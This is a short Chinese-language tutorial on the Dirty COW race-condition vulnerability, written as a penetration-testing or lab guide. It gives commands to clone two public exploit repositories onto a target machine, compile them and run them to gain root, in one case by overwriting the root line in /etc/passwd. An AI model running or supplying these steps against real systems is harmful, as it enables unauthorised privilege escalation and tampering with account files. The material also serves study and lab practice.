脏牛提权的本质就是利用了条件竞争。Linux写时拷贝技术(copy-on-write)
在Linux系统中,fork()会产生一个和父进程完全相同的子进程,但子进程在此后多会exec系统调用,出于效率考虑,Linux系统中引入了"写时复制"技术,也就是只有进程空间的各段的内容要发生变化时,才会将父进程的内容复制一份给子进程。
前置知识
Dirty COW漏洞
Dirty COW漏洞是一种发生在写时复制的竞态条件漏洞。
演示:
1)使用dirty.c脚本进行提权
该漏洞利用dirtycow漏洞的pokemon漏洞利用作为基础,自动生成新的passwd行。运行二进制文件时,将提示用户输入新密码。然后将原始 /etc/passwd 文件备份到 /tmp/passwd.bak 并用生成的行覆盖 root 帐户。运行漏洞利用后,您应该能够使用新创建的用户登录。
1.下载/上传该脚本到目标机下:
git clone https://github.com/FireFart/dirtycow
2.编译该脚本:
gcc -pthread dirty.c -o dirty -lcrypt
1.-Wall 一般使用该选项,允许发出GCC能够提供的所有有用的警告
2.-pedantic 允许发出ANSI/ISO C标准所列出的所有警告
3.-O2编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高
4.-std=c++11就是用按C++2011标准来编译的
5.-pthread 在Linux中要用到多线程时,需要链接pthread库
6.-o dcow gcc生成的目标文件,名字为dcow
7.-lcrypt 添加需要的外部库

3.添加可执行权限并执行
chmod +x ./dirty
./dirty 999999

2)使用CVE-2016-5195提权
1.下载脚本到目标机器:
git clone https://github.com/gbonacini/CVE-2016-5195.git
2.编译成可执行文件
使用 g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil
或者直接输入 make 进行

3.执行脚本
./dcow -s
./dcow -h
场景演示可以查看红日靶场03中就利用到了脏牛提权